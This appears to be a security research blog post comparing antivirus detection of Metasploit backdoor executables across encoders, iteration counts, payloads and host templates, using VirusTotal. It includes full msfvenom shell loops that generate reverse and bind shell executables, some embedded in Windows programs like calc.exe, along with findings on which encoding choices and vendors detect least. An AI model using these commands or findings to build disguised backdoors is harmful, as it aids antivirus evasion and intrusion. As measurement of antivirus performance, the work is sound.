[Analysis] Encoding Files

Please note: If you're looking for methods on "how to bypass anti virus software" - this page isn't for you. Its more about:

• How do different encoders compare? 
• Is there a relationship with increasing the encoded amount of time, does it get detected less?
• By switching the payload, will this have a affect?
• If a different template was used, would it still detected the same amount of times?
• Does encoding make the file detected more than if it wasn't encoded at all?
• Will the payload's operating system matter?
• Which Anti Virus product was able to detect the most (and the least) amount? 

Brief
The metasploit framework was used to generate a various combination of executable programs which would grant remote access (a 'backdoor') to the machine.

Upon the creation of each file, the output was uploaded to virustotal which was scanned using multiple anti virus products to reveal if any vendor was able to detect the "malicious malware".


Method
As metasploit customizes the output it creates, various settings were altered slightly each time upon creation, thus making each output unique slightly. In this experiment there were:

27x Encoders (Which algorithm to use)
 5x Iterations (How many times to encode)
20x Payloads (What function to execute)
 5x Templates (Which file to base the output around)

By looping through each of the above, each time modifying it once, the result produced 6750 unique files (please note: its not the 'full' amount as some factors are OS dependant, example; you can't use a windows program for a Linux template).

Each file was then uploaded to VirusTotal.com, which scans the file using 44 anti virus products (Please note: The signatures used on virustotal are more 'sensitive' rather than the ones found publicly. Therefore they have a higher detection rate).  Virustotal.com services was used to save time as it automates the whole procedure and creates a report rather than manually scanning each file ourselves with every vendor.

VirusTotal.com has a public API feature, so to take advantage of this, a script (bmmvtu.py), was developed to automate this procedure, allowing for multiple files to scanned without any interaction.

Below is a list of all the variables used:

Anti Virus Products	Encoders	Iterations	Payloads	Templates (MD5)
AhnLab-V3	cmd/generic_sh	1	generic/custom (Linux & OSX & Windows)	calc.exe (0adf66d67ba98090cd5ce9166a7e323f)
AntiVir	cmd/ifs	5	linux/x86/meterpreter/bind_tcp-default	cmd.exe (6d778e0f95447e6546553eeea709d03c)
Antiy-AVL	cmd/printf_php_mq	10	linux/x86/meterpreter/reverse_tcp-default	default - template_x86_windows.exe (99addd5248236a60aeddbc35024cd2ab)
Avast	generic/none	25	linux/x86/shell/bind_tcp-default	default - template_x86_linux.bin (8892430dd8bdfdc29abdcba9560b4d66)
Avast5	mipsbe/longxor	100	linux/x86/shell/reverse_tcp-default	default - template_x86_darwin.bin (3c1738e7a0f1428d0ddb7d4e15cd4f1b)
AVG	mipsle/longxor		linux/x86/shell_bind_tcp-default	mspaint.exe (a68da24239c7ba6c424e1aeae7aa3e7a)
BitDefender	php/base64		linux/x86/shell_reverse_tcp-default	write.exe (bb75ed2cea65d2de97e88fde1b1a0bf8)
ByteHero	ppc/longxor		linux/x86/shell_reverse_tcp2-default
CAT-QuickHeal	ppc/longxor_tag		osx/x86/shell_bind_tcp-default
ClamAV	sparc/longxor_tag		osx/x86/shell_reverse_tcp-default
Commtouch	x64/xor		osx/x86/vforkshell/bind_tcp-default
Comodo	x86/alpha_mixed		osx/x86/vforkshell/reverse_tcp-default
DrWeb	x86/alpha_upper		osx/x86/vforkshell_bind_tcp-default
Emsisoft	x86/avoid_utf8_tolower		osx/x86/vforkshell_reverse_tcp-default
eSafe	x86/call4_dword_xor		windows/meterpreter/bind_tcp
eTrust-Vet	x86/context_cpuid		windows/meterpreter/reverse_tcp
F-Prot	x86/context_stat		windows/shell/bind_tcp
F-Secure	x86/context_time		windows/shell/reverse_tcp
Fortinet	x86/countdown		windows/shell_bind_tcp
GData	x86/fnstenv_mov		windows/shell_reverse_tcp
Ikarus	x86/jmp_call_additive
Jiangmin	x86/nonalpha
K7AntiVirus	x86/nonupper
Kaspersky	x86/shikata_ga_nai
McAfee	x86/single_static_bit
McAfee-GW-Edition	x86/unicode_mixed
Microsoft	x86/unicode_upper
NOD32
Norman
nProtect
Panda
PCTools
Prevx
Rising
Sophos
SUPERAntiSpyware
Symantec
TheHacker
TrendMicro
TrendMicro-HouseCall
VBA32
VIPRE
ViRobot
VirusBuster

The commands used are as follows:

echo "generic/shell_bind_tcp
generic/shell_reverse_tcp
windows/shell/bind_tcp
windows/shell_bind_tcp
windows/shell/reverse_tcp
windows/shell_reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell/reverse_tcp
linux/x86/shell_reverse_tcp
linux/x86/shell_reverse_tcp2
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_tcp
osx/x86/shell_bind_tcp
osx/x86/vforkshell/bind_tcp
osx/x86/vforkshell_bind_tcp
osx/x86/shell_reverse_tcp
osx/x86/vforkshell/reverse_tcp
osx/x86/vforkshell_reverse_tcp
windows/dllinject/reverse_tcp
windows/patchupdllinject/reverse_tcp
windows/dllinject/bind_tcp
windows/patchupdllinject/bind_tcp" > /tmp/payload.txt

for y in {normal,*.exe} ; do
   for x in `msfvenom -l encoders 2>&1 >/dev/null | grep "/" | awk '{print $1}'`; do
      for i in {1,5,10,25,100}; do
        if [ "$y" == "normal" ] ; then
           msfvenom -p generic/custom -f exe -e $x -i $i PAYLOADSTR= > output/generic_-_custom-default~[$(echo $x | sed "s/\//_-_/g")]-$i.exe
        else
           msfvenom -p generic/custom -f exe -e $x -i $i -x $y PAYLOADSTR= > output/generic_-_custom-$y~[$(echo $x | sed "s/\//_-_/g")]-$i.exe
        fi
      done
   done
done
for payload in $(cat /tmp/payload.txt); do
   for y in {normal,*.exe} ; do
      for x in `msfvenom -l encoders 2>&1 >/dev/null | grep "/" | awk '{print $1}'`; do
         for i in {1,5,10,25,100}; do
            if [ "$y" == "normal" ] ; then
               msfvenom -p $payload -f exe -e $x -i $i --platform windows LHOST=127.0.0.1 LPORT=4444 RHOST=127.0.0.1 RPORT=5555 > output/$(echo $payload | sed "s/\//_-_/g")-default~[$(echo $x | sed 's/\//_-_/g')]-$i.exe
            else
               msfvenom -p $payload -f exe -e $x -i $i --platform windows -x $y LHOST=127.0.0.1 LPORT=4444 RHOST=127.0.0.1 RPORT=5555 > output/$(echo $payload | sed "s/\//_-_/g")-$y~[$(echo $x | sed "s/\//_-_/g")]-$i.exe
            fi
         done
      done
   done
done

for y in *.exe ; do
   python bmmvtu.py --output report-$y output/blank-$y*
done
for payload in $(cat /tmp/payload.txt); do
   for y in *.exe ; do
      python bmmvtu.py --output report-$(echo $payload | sed "s/\//_-_/g")-$y output/$(echo $payload | sed "s/\//_-_/g")-$y*
   done
done

for url in `cat /tmp/urls.txt`; do  ./CutyCapt --url=$(echo $url | cut -d, -f2) --out=/mnt/win/$(echo $url | cut -d, -f1).png; done

Results
Download: VirusTotal.com reports [PDF]
Download: Results [PNG] [Spreadsheet (xlsx)]
View: More Results *Below is only sample of the collect results. Sorry for the low resolution!*

Table 1 - Results Summary

Table 2 - Anti Virus Results

Graph 1 - Anti Virus performance

Graph 2 - Graph-Detection Rate for "generic/custom-calc.exe"

Graph 3 - Detection Rate for "OS Bind Shell"

Graph 4 - Detection Rate For Graph-Detection Rate for "Windows Meterpreter Bind (1 Iteration)"

Graph 5 - Detection Rate For Graph-Detection Rate for "Windows payloads (1 Iteration)"

Graph 6 - Iterations From 1 to 100

Graph 7 - Range of Encoders Efficiency

Graph 8 - Total Detects

Graph 9 - Total Rate Of Detection

Graph 10 - When Encoders Where Higher Than "generic/none"

Summary 

• Wasn't able to use every template
• write.exe (wordpad) - failed every time.
• Wasn't able to use every encoder, every time.
• At 25 iterations - x86/alpha_mixed & x86/alpha_uppert stop working
• At 100 iterations - php/base64 also stop working
• x86/single_static_bit was also unable to complete a couple of times,
• How do different encoders compare? Some are better than others; general use or for specific options
• Is there a relationship with increasing the encoded amount of time, does it get detected less? No.
• By switching the payload, will this have an affect? Minor difference.
• If a different template was used, would it still detect the same amount of times? Minor difference.
• Does encoding make the file become detected more than if it wasn't encoded at all? Yes, it can do!
• Will the payload's operating system matter? Yes. Encoding didn't have a difference of Linux or OSX systems
• Which Anti Virus product was able to detect the most (and the least) amount? GData &ViRobot respectively

Conclusion
To take this further...

• What happens if the default values for the encoders were altered?
• What happens if multiple encoders were linked together to create a single output?